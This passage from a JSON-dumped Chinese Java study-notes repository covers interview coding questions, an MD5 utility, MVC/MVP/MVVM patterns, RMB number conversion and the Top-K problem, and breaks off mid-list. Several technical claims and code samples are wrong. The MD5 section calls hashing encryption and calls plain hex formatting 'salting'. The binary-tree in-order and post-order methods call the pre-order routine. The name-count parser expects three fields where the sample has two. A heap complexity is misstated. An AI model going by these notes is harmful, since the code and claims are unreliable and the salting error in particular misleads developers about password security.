{\n\t\t\tengishCount++;\n\t\t} else {\n\t\t\tchineseCount++;\n\t\t}\n\t}\n\tSystem.out.println(……………);\n\t```\n\t\n6. 说明生活中遇到的二叉树，用java实现二叉树                 \n\t这是组合设计模式。\n\t我有很多个(假设10万个)数据要保存起来，以后还需要从保存的这些数据中检索是否存在某个数据，（我想说出二叉树的好处，该怎么说呢？那就是说别人的缺点），\n\t假如存在数组中，那么，碰巧要找的数字位于99999那个地方，那查找的速度将很慢，因为要从第1个依次往后取，取出来后进行比较。\n\t平衡二叉树（构建平衡二叉树需要先排序，我们这里就不作考虑了）可以很好地解决这个问题，但二叉树的遍历（前序，中序，后序）效率要比数组低很多，\n\t代码如下：\n\t```java\n\tpackage com.huawei.interview;\n\tpublic class Node {\n\t\tpublic int value;\n\t\tpublic Node left;\n\t\tpublic Node right;\n\t\tpublic void store(int value) {\n\t\t\tif(value<this.value) {\n\t\t\t\tif(left == null) {\n\t\t\t\t\tleft = new Node();\n\t\t\t\t\tleft.value=value;\n\t\t\t\t} else {\n\t\t\t\t\tleft.store(value);\n\t\t\t\t}\n\t\t\t} else if(value>this.value) {\n\t\t\t\tif(right == null) {\n\t\t\t\t\tright = new Node();\n\t\t\t\t\tright.value=value;\n\t\t\t\t} else {\n\t\t\t\t\tright.store(value);\n\t\t\t\t}\t\t\t\n\t\t\t}\n\t\t}\n\t\tpublic boolean find(int value) {\t\n\t\t\tSystem.out.println(\"happen \" + this.value);\n\t\t\tif (value == this.value) {\n\t\t\t\treturn true;\n\t\t\t} else if(value>this.value) {\n\t\t\t\tif(right == null) return false;\n\t\t\t\treturn right.find(value);\n\t\t\t} else {\n\t\t\t\tif(left == null) return false;\n\t\t\t\treturn left.find(value);\n\t\t\t}\n\t\t}\n\t\tpublic  void preList() {\n\t\t\tSystem.out.print(this.value + \",\");\n\t\t\tif(left!=null) left.preList();\n\t\t\tif(right!=null) right.preList();\n\t\t}\n\t\tpublic void middleList() {\n\t\t\tif(left!=null) left.preList();\n\t\t\tSystem.out.print(this.value + \",\");\n\t\t\tif(right!=null) right.preList();\t\t\n\t\t}\n\t\tpublic void afterList() {\n\t\t\tif(left!=null) left.preList();\n\t\t\tif(right!=null) right.preList();\n\t\t\tSystem.out.print(this.value + \",\");\t\t\n\t\t}\t\n\t\tpublic static void main(String [] args) {\n\t\t\tint [] data = new int[20];\n\t\t\tfor(int i=0;i<data.length;i++) {\n\t\t\t\tdata[i] = (int)(Math.random()*100) + 1;\n\t\t\t\tSystem.out.print(data[i] + \",\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t\tNode root = new Node();\n\t\t\troot.value = data[0];\n\t\t\tfor(int i=1;i<data.length;i++) {\n\t\t\t\troot.store(data[i]);\n\t\t\t}\n\t\t\troot.find(data[19]);\n\t\t\troot.preList();\n\t\t\tSystem.out.println();\n\t\t\troot.middleList();\n\t\t\tSystem.out.println();\t\t\n\t\t\troot.afterList();\n\t\t}\n\t}\n\t```\n\t-----------------又一次临场写的代码---------------------------\n\t```java\n\timport java.util.Arrays;\n\timport java.util.Iterator;\n\tpublic class Node {\n\t\tprivate Node left;\n\t\tprivate Node right;\n\t\tprivate int value;\n\t\t//private int num;\n\t\tpublic Node(int value){\n\t\t\tthis.value = value;\n\t\t}\n\t\tpublic void add(int value){\n\t\t\tif(value > this.value) {\n\t\t\t\tif(right != null) {\n\t\t\t\t\tright.add(value);\n\t\t\t\t} else {\n\t\t\t\t\tNode node = new Node(value);\t\t\t\t\n\t\t\t\t\tright = node;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif(left != null) {\n\t\t\t\t\tleft.add(value);\n\t\t\t\t} else {\n\t\t\t\t\tNode node = new Node(value);\t\t\t\t\n\t\t\t\t\tleft = node;\n\t\t\t\t}\t\t\t\n\t\t\t}\n\t\t}\n\t\tpublic boolean find(int value){\n\t\t\tif(value == this.value) {\n\t\t\t\treturn true;\n\t\t\t} else if(value > this.value){ \n\t\t\t\tif(right == null) return false;\n\t\t\t\telse return right.find(value);\n\t\t\t}else{\n\t\t\t\tif(left == null) return false;\n\t\t\t\telse return left.find(value);\t\t\t\n\t\t\t}\n\t\t}\n\t\tpublic void display(){\n\t\t\tSystem.out.println(value);\n\t\t\tif(left != null) left.display();\n\t\t\tif(right != null) right.display();\n\t\t}\n\t\t/*public Iterator iterator(){\n\t\t}*/\n\t\tpublic static void main(String[] args){\n\t\t\tint[] values = new int[8];\n\t\t\tfor(int i=0;i<8;i++){\n\t\t\t\tint num = (int)(Math.random() * 15);\n\t\t\t\t//System.out.println(num);\n\t\t\t\t//if(Arrays.binarySearch(values, num)<0)\n\t\t\t\tif(!contains(values,num))\n\t\t\t\t\tvalues[i] = num;\n\t\t\t\telse\n\t\t\t\t\ti--;\n\t\t\t}\n\t\t\tSystem.out.println(Arrays.toString(values));\n\t\t\tNode root  = new Node(values[0]);\n\t\t\tfor(int i=1;i<values.length;i++){\n\t\t\t\troot.add(values[i]);\n\t\t\t}\n\t\t\tSystem.out.println(root.find(13));\n\t\t\troot.display();\n\t\t}\n\t\tpublic static boolean contains(int [] arr, int value){\n\t\t\tint i = 0;\n\t\t\tfor(;i<arr.length;i++){\n\t\t\t\tif(arr[i] == value) return true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t}\n\t```\n\t\n7. 从类似如下的文本文件中读取出所有的姓名，并打印出重复的姓名和重复的次数，并按重复次数排序：               \n\t- 张三,28\n\t- 李四,35\n\t- 张三,28\n\t- 王五,35\n\t- 张三,28\n\t- 李四,35\n\t- 赵六,28\n\t- 田七,35\n \n\t程序代码如下（答题要博得用人单位的喜欢，包名用该公司，面试前就提前查好该公司的网址，如果查不到，现场问也是可以的。还要加上实现思路的注释）：\n\n\t```java\n\tpackage com.huawei.interview;\n\n\timport java.io.BufferedReader;\n\timport java.io.IOException;\n\timport java.io.InputStream;\n\timport java.io.InputStreamReader;\n\timport java.util.Comparator;\n\timport java.util.HashMap;\n\timport java.util.Iterator;\n\timport java.util.Map;\n\timport java.util.TreeSet;\n\n\tpublic class GetNameTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\t//InputStream ips = GetNameTest.class.getResourceAsStream(\"/com/huawei/interview/info.txt\");\n\t\t//用上一行注释的代码和下一行的代码都可以，因为info.txt与GetNameTest类在同一包下面，所以，可以用下面的相对路径形式\n\t\tMap results = new HashMap();\n\t\tInputStream ips = GetNameTest.class.getResourceAsStream(\"info.txt\");\n\t\tBufferedReader in = new BufferedReader(new InputStreamReader(ips));\n\t\tString line = null;\n\t\ttry {\n\t\t\twhile((line=in.readLine())!=null)\n\t\t\t{\n\t\t\t\tdealLine(line,results);\n\t\t\t}\n\t\t\tsortResults(results);\n\t\t} catch (IOException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\tstatic class User {\n\t\tpublic  String name;\n\t\tpublic Integer value;\n\t\tpublic User(String name,Integer value) {\n\t\t\tthis.name = name;\n\t\t\tthis.value = value;\n\t\t}\n\t\t@Override\n\t\tpublic boolean equals(Object obj) {\n\t\t\t// TODO Auto-generated method stub\t\t\n\t\t\t//下面的代码没有执行，说明往treeset中增加数据时，不会使用到equals方法。\n\t\t\tboolean result = super.equals(obj);\n\t\t\tSystem.out.println(result);\n\t\t\treturn result;\n\t\t}\n\t}\n\tprivate static void sortResults(Map results) {\n\t\t// TODO Auto-generated method stub\n\t\tTreeSet sortedResults = new TreeSet(\n\t\t\t\tnew Comparator(){\n\t\t\t\t\tpublic int compare(Object o1, Object o2) {\n\t\t\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\t\t\tUser user1 = (User)o1;\n\t\t\t\t\t\tUser user2 = (User)o2;\n\t\t\t\t\t\t/*如果compareTo返回结果0，则认为两个对象相等，新的对象不会增加到集合中去\n\t\t\t\t\t\t * 所以，不能直接用下面的代码，否则，那些个数相同的其他姓名就打印不出来。\n\t\t\t\t\t\t * */\t\t\t\t\t\n\t\t\t\t\t\t//return user1.value-user2.value;\n\t\t\t\t\t\t//return user1.value<user2.value?-1:user1.value==user2.value?0:1;\n\t\t\t\t\t\tif(user1.value<user2.value) {\n\t\t\t\t\t\t\treturn -1;\n\t\t\t\t\t\t}else if(user1.value>user2.value) {\n\t\t\t\t\t\t\treturn 1;\n\t\t\t\t\t\t}else {\n\t\t\t\t\t\t\treturn user1.name.compareTo(user2.name);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t);\n\t\tIterator iterator = results.keySet().iterator();\n\t\twhile(iterator.hasNext()) {\n\t\t\tString name = (String)iterator.next();\n\t\t\tInteger value = (Integer)results.get(name);\n\t\t\tif(value > 1) {\t\t\t\t\n\t\t\t\tsortedResults.add(new User(name,value));\t\t\t\t\n\t\t\t}\n\t\t}\n\t\tprintResults(sortedResults);\n\t}\n\tprivate static void printResults(TreeSet sortedResults) {\n\t\tIterator iterator  = sortedResults.iterator();\n\t\twhile(iterator.hasNext()) {\n\t\t\tUser user = (User)iterator.next();\n\t\t\tSystem.out.println(user.name + \":\" + user.value);\n\t\t}\t\n\t}\n\tpublic static void dealLine(String line,Map map) {\n\t\tif(!\"\".equals(line.trim())) {\n\t\t\tString [] results = line.split(\",\");\n\t\t\tif(results.length == 3) {\n\t\t\t\tString name = results[1];\n\t\t\t\tInteger value = (Integer)map.get(name);\n\t\t\t\tif(value == null) value = 0;\n\t\t\t\tmap.put(name,value + 1);\n\t\t\t}\n\t\t}\n\t}\n\t}\n\t``` \n9. 递归算法题                          \n\t一个整数，大于0，不用循环和本地变量，按照n，2n，4n，8n的顺序递增，当值大于5000时，把值按照指定顺序输出来。\n\t例：n=1237\n\t则输出为：      \n\t1237，    \n\t2474，      \n\t4948，       \n\t9896，      \n\t9896，      \n\t4948，       \n\t2474，      \n\t1237，            \n\t提示：写程序时，先只写按递增方式的代码，写好递增的以后，再增加考虑递减部分。       \n\t```java\n\tpublic static void doubleNum(int n) {\n\t\tSystem.out.println(n);\n\t\tif(n<=5000)\n\t\t\tdoubleNum(n*2);\n\t\tSystem.out.println(n);\t\t\n\t}\n\t```\n \n10. 递归算法题                           \n\t第1个人10，第2个比第1个人大2岁，依次递推，请用递归方式计算出第8个人多大？\n\t```java\n\tpackage cn.itcast;\n\timport java.util.Date;\n\tpublic class A1 {\n\t\tpublic static void main(String [] args) {\n\t\t\tSystem.out.println(computeAge(8));\n\t\t}\n\t\tpublic static int computeAge(int n) {\n\t\t\tif(n==1) return 10;\n\t\t\treturn computeAge(n-1) + 2;\n\t\t}\n\t}\n\tpublic static void toBinary(int n,StringBuffer result) {\n\t\tif(n/2 != 0)\n\t\t\ttoBinary(n/2,result);\n\t\tresult.append(n%2);\t\t\n\t}\n\t```\n\t\n11. 排序都有哪几种方法？请列举。用JAVA实现一个快速排序。            \n\t 本人只研究过冒泡排序、选择排序和快速排序，下面是快速排序的代码：\n\t```java\n\tpublic class QuickSort {\n\t\t/**\n\t\t* 快速排序\n\t\t* @param strDate\n\t\t* @param left\n\t\t* @param right\n\t\t*/\n\t\tpublic void quickSort(String[] strDate,int left,int right){\n\t\t\tString middle,tempDate;\n\t\t\tint i,j;\n\t\t\ti=left;\n\t\t\tj=right;\n\t\t\tmiddle=strDate[(i+j)/2];\n\t\t\tdo{\n\t\t\t\twhile(strDate[i].compareTo(middle)<0&& i<right)\n\t\t\t\ti++; //找出左边比中间值大的数\n\t\t\t\twhile(strDate[j].compareTo(middle)>0&& j>left)\n\t\t\t\tj--; //找出右边比中间值小的数\n\t\t\t\tif(i<=j){ //将左边大的数和右边小的数进行替换 \n\t\t\t\ttempDate=strDate[i];\n\t\t\t\tstrDate[i]=strDate[j];\n\t\t\t\tstrDate[j]=tempDate;\n\t\t\t\ti++;\n\t\t\t\tj--;\n\t\t\t\t}\n\t\t\t}while(i<=j); //当两者交错6时停止\n\t\t\tif(i<right){\n\t\t\t\tquickSort(strDate,i,right);//从\n\t\t\t}\n\t\t\tif(j>left){\n\t\t\t\tquickSort(strDate,left,j);\n\t\t\t}\n\t\t}\n\t\t/**\n\t\t  * @param args\n\t\t  */\n\t\tpublic static void main(String[] args){\n\t\t\tString[] strVoid=new String[]{\"11\",\"66\",\"22\",\"0\",\"55\",\"22\",\"0\",\"32\"};\n\t\t\tQuickSort sort=new QuickSort();\n\t\t\tsort.quickSort(strVoid,0,strVoid.length-1);\n\t\t\tfor(int i=0;i<strVoid.length;i++){\n\t\t\t\tSystem.out.println(strVoid[i]+\" \");\n\t\t\t}\n\t\t}\n\t}\n\t```\n\t\n12. 有数组a[n]，用java代码将数组元素顺序颠倒             \n\t```java\n\timport java.util.Arrays;\n\tpublic class SwapDemo{\n\t\tpublic static void main(String[] args){\n\t\t\tint [] a = new int[]{\n\t\t\t\t\t\t\t(int)(Math.random() * 1000),\n\t\t\t\t\t\t\t(int)(Math.random() * 1000),\n\t\t\t\t\t\t\t(int)(Math.random() * 1000),\n\t\t\t\t\t\t\t(int)(Math.random() * 1000),\t\t\t\t\t\t\n\t\t\t\t\t\t\t(int)(Math.random() * 1000)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t};\t\n\t\t\tSystem.out.println(a);\n\t\t\tSystem.out.println(Arrays.toString(a));\n\t\t\tswap(a);\n\t\t\tSystem.out.println(Arrays.toString(a));\t\t\n\t\t}\n\t\tpublic static void swap(int a[]){\n\t\t\tint len = a.length;\n\t\t\tfor(int i=0;i<len/2;i++){\n\t\t\t\tint tmp = a[i];\n\t\t\t\ta[i] = a[len-1-i];\n\t\t\t\ta[len-1-i] = tmp;\n\t\t\t}\n\t\t}\n\t}\n\t```\n\t\n13. 金额转换，阿拉伯数字的金额转换成中国传统的形式如：（￥1011）－>（一千零一拾一元整）输出。            \n\t```java\n\t// 去零的代码：\n\treturn sb.reverse().toString().replaceAll(\"零[拾佰仟]\",\"零\").replaceAll(\"零+万\",\"万\").replaceAll(\"零+元\",\"元\").replaceAll(\"零+\",\"零\");\n\tpublic class RenMingBi {\n\t\t/**\n\t\t * @param args add by zxx ,Nov 29, 2008\n\t\t */\n\t\tprivate static final char[] data = new char[]{\n\t\t\t\t'零','壹','贰','叁','肆','伍','陆','柒','捌','玖'\n\t\t\t}; \n\t\tprivate static final char[] units = new char[]{\n\t\t\t'元','拾','佰','仟','万','拾','佰','仟','亿'\n\t\t};\n\t\tpublic static void main(String[] args) {\n\t\t\t// TODO Auto-generated method stub\n\t\t\tSystem.out.println(\n\t\t\t\t\tconvert(135689123));\n\t\t}\n\t\tpublic static String convert(int money) {\n\t\t\tStringBuffer sbf = new StringBuffer();\n\t\t\tint unit = 0;\n\t\t\twhile(money!=0) {\n\t\t\t\tsbf.insert(0,units[unit++]);\n\t\t\t\tint number = money%10;\n\t\t\t\tsbf.insert(0, data[number]);\n\t\t\t\tmoney /= 10;\n\t\t\t}\n\t\t\treturn sbf.toString();\n\t\t}\n\t}\n\t```\n\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/MD5加密.md",
    "content": "MD5加密\n===\n\n`MD5`是一种不可逆的加密算法只能将原文加密，不能讲密文再还原去，原来把加密后将这个数组通过`Base64`给变成字符串，\n这样是不严格的业界标准的做法是对其加密之后用每个字节`&15`然后就能得到一个`int`型的值，再将这个`int`型的值变成16进制的字符串.虽然MD5不可逆，\n但是网上出现了将常用的数字用`md5`加密之后通过数据库查询，所以`MD5`简单的情况下仍然可以查出来，一般可以对其多加密几次或者`&15`之后再和别的数运算等，\n这称之为*加盐*.\n \n```java\npublic class MD5Utils {\n    /**\n     * md5加密的工具方法\n     */\n    public static String encode(String password){\n        try {\n            MessageDigest digest = MessageDigest.getInstance(\"md5\");\n            byte[] result = digest.digest(password.getBytes());\n            StringBuilder sb = new StringBuilder();//有的数很小还不到10所以得到16进制的字符串有一个\n                                                   //的情况，这里对于小于10的值前面加上0\n            //16进制的方式  把结果集byte数组 打印出来\n            for(byte b :result){\n                int number = (b&0xff);//加盐.\n                String str =Integer.toHexString(number);\n                if(str.length()==1){\n                    sb.append(\"0\");\n                }\n                sb.append(str);\n            }\n            return sb.toString();\n        } catch (NoSuchAlgorithmException e) {\n            e.printStackTrace();\n            return \"\";\n        }\n    }\n}\n```\n\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/MVC与MVP及MVVM.md",
    "content": "MVC与MVP及MVVM\n===\n\nMVC\n---\n\n`MVC`是一种使用Model View Controller模型-视图-控制器设计创建`Web`应用程序的模式:   \n\n- `Model`（模型）表示应用程序核心（比如数据库记录列表）是应用程序中用于处理应用程序数据逻辑的部分。\n- `View`（视图）显示数据（数据库记录）是应用程序中处理数据显示的部分。\n- `Controller`（控制器）处理输入（写入数据库记录）应用程序中处理用户交互的部分。\n\nMVC 分层有助于管理复杂的应用程序，因为您可以在一个时间内专门关注一个方面。例如，您可以在不依赖业务逻辑的情况下专注于视图设计。同时也让应用程序的测试更加容易。\nMVC 分层同时也简化了分组开发。不同的开发人员可同时开发视图、控制器逻辑和业务逻辑。\n\n- 优点\n    - 耦合性低\n\t- 重用性高\n\t- 可维护性高\n\t- 有利软件工程化管理\n\t\n- 缺点\n    - 没有明确的定义\n    - 视图与控制器间的过于紧密的连接\n    - 增加系统结构和实现的复杂性\n\n![image](https://github.com/CharonChui/Pictures/blob/master/mvc_model.png?raw=true)\n\nMVP\n---\n\n`MVP`是从经典的模式`MVC`演变而来，它们的基本思想有相通的地方：`Controller/Presenter`负责逻辑的处理，`Model`提供数据，`View`负责显示。\n作为一种新的模式，`MVP`与`MVC`有着一个重大的区别：在`MVP`中`View`并不直接使用`Model`，它们之间的通信是通过`Presenter`(`MVC`中的`Controller`)来进行的，\n所有的交互都发生在`Presenter`内部，而在`MVC`中`View`会直接从`Model`中读取数据而不是通过`Controller`。\n在`MVC`里,`View`是可以直接访问`Model`的！从而，`View`里会包含`Model`信息，不可避免的还要包括一些业务逻辑。 \n在`MVC`模型里，更关注的`Model`的不变，而同时有多个对`Model`的不同显示及`View`。所以，在`MVC`模型里，`Model`不依赖于`View`，但是`View`是依赖于`Model`的。\n不仅如此，因为有一些业务逻辑在`View`里实现了，导致要更改`View`也是比较困难的，至少那些业务逻辑是无法重用的。\t\n\n![image](https://github.com/CharonChui/Pictures/blob/master/is-activity-god-the-mvp-architecture-10-638.jpg?raw=true)\n\n在`MVP`里，`Presenter`完全把`Model`和`View`进行了分离，主要的程序逻辑在`Presenter`里实现。而且`Presenter`与具体的`View`是没有直接关联的，\n而是通过定义好的接口进行交互，从而使得在变更`View`时候可以保持`Presenter`的不变，即重用！ \n在MVP里，应用程序的逻辑主要在`Presenter`来实现，其中的`View`是很薄的一层。因此就有人提出了`Presenter First`的设计模式，\n就是根据`User Story`来首先设计和开发`Presenter`。在这个过程中，`View`是很简单的，能够把信息显示清楚就可以了。\n在后面，根据需要再随便更改`View`，而对`Presenter`没有任何的影响了。 如果要实现的`UI`比较复杂，而且相关的显示逻辑还跟`Model`有关系，\n就可以在`View`和`Presenter`之间放置一个`Adapter`。由这个`Adapter`来访问`Model`和`View`，避免两者之间的关联。\n而同时，因为`Adapter`实现了`View`的接口，从而可以保证与`Presenter`之间接口的不变。这样就可以保证`View`和`Presenter`之间接口的简洁，\n又不失去`UI`的灵活性。在`MVP`模式里，`View`只应该有简单的`Set/Get`的方法，用户输入和设置界面显示的内容，除此就不应该有更多的内容，\n绝不容许直接访问`Model`这就是与`MVC`很大的不同之处。\n\n- 优点    \n    - 模型与视图完全分离，我们可以修改视图而不影响模型\n    - 可以更高效地使用模型，因为所有的交互都发生在一个地方——`Presenter`内部\n    - 我们可以将一个`Presenter`用于多个视图，而不需要改变`Presenter`的逻辑。这个特性非常的有用，因为视图的变化总是比模型的变化频繁。\n    - 如果我们把逻辑放在`Presenter`中，那么我们就可以脱离用户接口来测试这些逻辑（单元测试）\n\n- 缺点\n    由于对视图的渲染放在了`Presenter`中，所以视图和`Presenter`的交互会过于频繁。还有一点需要明白，如果`Presenter`过多地渲染了视图，\n\t往往会使得它与特定的视图的联系过于紧密。一旦视图需要变更，那么`Presenter`也需要变更了。\n\t比如说，原本用来呈现`Html`的`Presenter`现在也需要用于呈现Pdf了，那么视图很有可能也需要变更。\n\nMVVM\n---\n\nMVVM是Model-View-ViewModel的简写。\n\n- 优点\n    `MVVM`模式和`MVC`模式一样，主要目的是分离视图`View`和模型`Model`\n- 低耦合。\n- 可重用性。\n- 独立开发。\n- 可测试。\n\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/RMB大小写转换.md",
    "content": "RMB大小写转换\n=========\n\n```java\npublic class RenMingBi {\n    private static final char[] data = new char[] { '零', '壹', '贰', '叁', '肆', '伍', '陆', '柒', '捌', '玖' };\n    private static final char[] units = new char[] { '元', '拾', '佰', '仟', '万', '拾', '佰', '仟', '亿' };\n\n    public static void main(String[] args) {\n        System.out.println(convert(11));\n    }\n\n    public static String convert(int money) {\n        StringBuffer sbf = new StringBuffer();\n        int unit = 0;\n        while (money != 0) {\n            sbf.insert(0, units[unit++]);\n            System.out.println(sbf.toString());\n            int number = money % 10;\n            sbf.insert(0, data[number]);\n            money /= 10;\n        }\n        return sbf.toString();\n    }\n}\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/Top-K问题.md",
    "content": "Top-K问题\n===\n\n`Top-K`问题在数据分析中非常普遍的一个问题（在面试中也经常被问到），比如:    \n\n> 从1亿个数字中，找出其中最大的10000个数。    \n\n在一大堆数中求其前`k`大或前`k`小的问题，简称`Top-K`问题。而目前解决`Top-K`问题最有效的算法即是`BFPRT`算法，其又称为中位数的中位数算法，\n该算法由`Blum`、`Floyd`、`Pratt`、`Rivest`、`Tarjan`提出，最坏时间复杂度为`O(n)`。\n\n这个问题总共有几种解决方式:   \n\n- 最容易的方法就是将数据全部排序\n\n    在首次接触`TOP-K`问题时，我们的第一反应就是可以先对所有数据进行一次排序，然后取其前`k`即可，但是这么做有两个问题:    \n    - 快速排序的平均复杂度为O(nlogn)，但最坏时间复杂度为O(n^2)，不能始终保证较好的复杂度。\n    - 我们只需要前`k`大的，而对其余不需要的数也进行了排序，浪费了大量排序时间。\n\n    而且在32位的机器上，每个`float`类型占4个字节，1亿个浮点数就要占用`400MB`的存储空间，所以对于内存的要求很高，而且不能一次将全部数据\n    读入内存进行排序。\n\n- 局部淘汰法\n\n    该方法与排序方法类似，用一个容器保存前`10000`个数，然后将剩余的所有数字逐一与容器内的最小数字相比，如果所有后续的元素都比容器内的`10000`个数还小，那么容器内这个`10000`个数就是最大`10000`个数。如果某一后续元素比容器内最小数字大，则删掉容器内最小元素，并将该元素插入容器，最后遍历完这`1`亿个数，得到的结果容器中保存的数即为最终结果了。此时的时间复杂度为`O（n+m^2）`，其中`m`为容器的大小，即`10000`。   \n\n- 分治法\n\n    将`1`亿个数据分成`100`份，每份`100`万个数据，找到每份数据中最大的`10000`个，最后在剩下的`100*10000`个数据里面找出最大的`10000`个。如果`100`万数据选择足够理想，那么可以过滤掉`1`亿数据里面`99%`的数据。`100`万个数据里面查找最大的`10000`个数据的方法如下：用快速排序的方法，将数据分为`2`堆，如果大的那堆个数`N`大于`10000`个，继续对大堆快速排序一次分成`2`堆，如果大的那堆个数`N`大于`10000`个，继续对大堆快速排序一次分成`2`堆，如果大堆个数`N`小于`10000`个，就在小的那堆里面快速排序一次，找第`10000-n`大的数字；递归以上过程，就可以找到第`10000`大的数。一共需要101次这样的比较。\n\n- `Hash`法    \n\n    如果这`1`亿个书里面有很多重复的数，先通过`Hash`法，把这`1`亿个数字去重复，这样如果重复率很高的话，会减少很大的内存用量，从而缩小运算空间，然后通过分治法或最小堆法查找最大的`10000`个数。    \n\n- 最小堆   \n\n    首先读入前`10000`个数来创建大小为`10000`的最小堆，建堆的时间复杂度为`O（mlogm）`（`m`为数组的大小即为`10000`），然后遍历后续的数字，并于堆顶（最小）数字进行比较。如果比最小的数小，则继续读取后续数字；如果比堆顶数字大，则替换堆顶元素并重新调整堆为最小堆。整个过程直至`1`亿个数全部遍历完为止。然后按照中序遍历的方式输出当前堆中的所有`10000`个数字。该算法的时间复杂度为`O（nmlogm）`，空间复杂度是10000（常数）。    \n\n\n解决`Top K`问题有两种思路:   \n\n- 最直观:小顶堆`(大顶堆 -> 最小100个数)`\n- 较高效:`Quick Select`算法.   \n\n堆排序也是一个比较好的选择，可以维护一个大小为`k`的堆，时间复杂度为`O(nlogk)`。     \n\n那是否还存在更有效的方法呢？受到[快速排序](https://github.com/CharonChui/AndroidNote/blob/master/JavaKnowledge/%E5%85%AB%E7%A7%8D%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95.md)的启发，\n通过修改快速排序中主元的选取方法可以降低快速排序在最坏情况下的时间复杂度（即`BFPRT`算法）.\n\n并且我们的目的只是求出前`k`，故递归的规模变小，速度也随之提高。下面来简单回顾下快速排序的过程，以升序为例:       \n\n- 选取主元（首元素，尾元素或一个随机元素）\n- 以选取的主元为分界点，把小于主元的放在左边，大于主元的放在右边\n- 分别对左边和右边进行递归，重复上述过程\n\n\n\n堆\n---\n\n\n小顶堆`(min-heap)`有个重要的性质——每个结点的值均不大于其左右孩子结点的值，则堆顶元素即为整个堆的最小值。\n`JDK`中`PriorityQueue`实现了数据结构堆，通过指定`comparator`字段来表示小顶堆或大顶堆，默认为`null`，表示自然序`(natural ordering)`。\n\n小顶堆解决`Top-K`问题的思路:小顶堆维护当前扫描到的最大100个数，其后每一次的扫描到的元素，若大于堆顶，则入堆，然后删除堆顶；\n依此往复，直至扫描完所有元素。`Java`实现第`K`大整数代码如下：\n\n```java\npublic class TopK<E extends Comparable> {\n    private PriorityQueue<E> queue;\n    //堆的最大容量\n    private int maxSize; \n\n    public TopK(int maxSize) {\n        if (maxSize <= 0) {\n            throw new IllegalStateException();\n        }\n        this.maxSize = maxSize;\n        this.queue = new PriorityQueue<>(maxSize, new Comparator<E>() {\n            @Override\n            public int compare(E o1, E o2) {\n                // 最大堆用o2 - o1，最小堆用o1 - o2\n                return (o1.compareTo(o2));\n            }\n        });\n    }\n\n    public void add(E e) {\n        if (queue.size() < maxSize) {\n            queue.add(e);\n        } else {\n            E peek = queue.peek();\n            if (e.compareTo(peek) > 0) {\n                queue.poll();\n                queue.add(e);\n            }\n        }\n    }\n\n    public List<E> sortedList() {\n        List<E> list = new ArrayList<>(queue);\n        Collections.sort(list);\n        return list;\n    }\n\n    public static void main(String[] args) {\n        int[] array = {4, 5, 1, 6, 2, 7, 3, 8};\n        TopK pq = new TopK(4);\n        for (int n : array) {\n            pq.add(n);\n        }\n        System.out.println(pq.sortedList());\n    }\n}\n```\n\n下面使用`Java`来实现     \n\n- 限定数据大小。\n- 若堆满，则插入过程中与堆顶元素比较，并做相应操作。\n- 每次删除堆顶元素后堆做一次调整，保证最小堆特性。\n\n```java\npublic class Heap {\n    private int[] data;\n\n    public Heap(int[] data) {\n        this.data = data;\n        buildHeap();\n    }\n\n    public void buildHeap() {\n        for (int i = data.length / 2 - 1; i >= 0; i--) {\n            heapity(i);\n        }\n    }\n\n    public void heapity(int i) {\n        int left = getLeft(i);\n        int right = getRight(i);\n        int smallIndex = i;\n        if (left < data.length && data[left] < data[i])\n            smallIndex = left;\n        if (right < data.length && data[right] < data[smallIndex])\n            smallIndex = right;\n        if (smallIndex == i)\n            return;\n        swap(i, smallIndex);\n        heapity(smallIndex);\n    }\n\n    public int getLeft(int i) {\n        return ((i + 1) << 1) - 1;\n    }\n\n    public int getRight(int i) {\n        return (i + 1) << 1;\n    }\n\n    public void swap(int i, int j) {\n        data[i] ^= data[j];\n        data[j] ^= data[i];\n        data[i] ^= data[j];\n    }\n\n    public int getMin() {\n        return data[0];\n    }\n\n    public void setMin(int i) {\n        data[0] = i;\n        heapity(0);\n    }\n}\n\npublic class TopK {        \n    private static int[] topK(int[] data,int k){  \n        int topk[]=new int[k];  \n        for (int i = 0; i < k; i++) {  \n            topk[i]=data[i];  \n        }  \n        Heap heap=new Heap(topk);  \n        for (int j = k; j < data.length; j++) {  \n            int min=heap.getMin();  \n            if(data[j]>min)  \n                heap.setMin(data[j]);  \n        }  \n        return topk;  \n    }  \n    public static void main(String[] args) {  \n          int[] data = {33,86,59,46,84,76,1236,963};    \n          int[] topk=topK(data,3);  \n          for (int i : topk) {  \n            System.out.print(i+\",\");  \n        }  \n    }  \n}  \n\n```\n\n\n\n\n`BFPRT`算法\n---\n\n`BFPRT`算法步骤如下:     \n\n本算法的最坏时间复杂度为`O(n)`，值得注意的是通过`BFPTR`算法将数组按第`K`小（大）的元素划分为两部分，而\n这高低两部分不一定是有序的，通常我们也不需要求出顺序，而只需要求出前`K`大的或者前`K`小的。\n\n在`BFPTR`算法中，仅仅是改变了快速排序`Partion`中的`pivot`值的选取，在快速排序中，我们始终选择第一个元\n素或者最后一个元素作为`pivot`，而在`BFPTR`算法中，每次选择五分中位数的中位数作为`pivot`，这样做的目的\n就是使得划分比较合理，从而避免了最坏情况的发生。算法步骤如下:     \n\n- 将输入数组的n个元素划分为`n/5`组，每组5个元素，且至多只有一个组由剩下的`n%5`个元素组成。\n- 寻找`n/5`个组中每一个组的中位数，首先对每组的元素进行插入排序，然后从排序过的序列中选出中位数。\n- 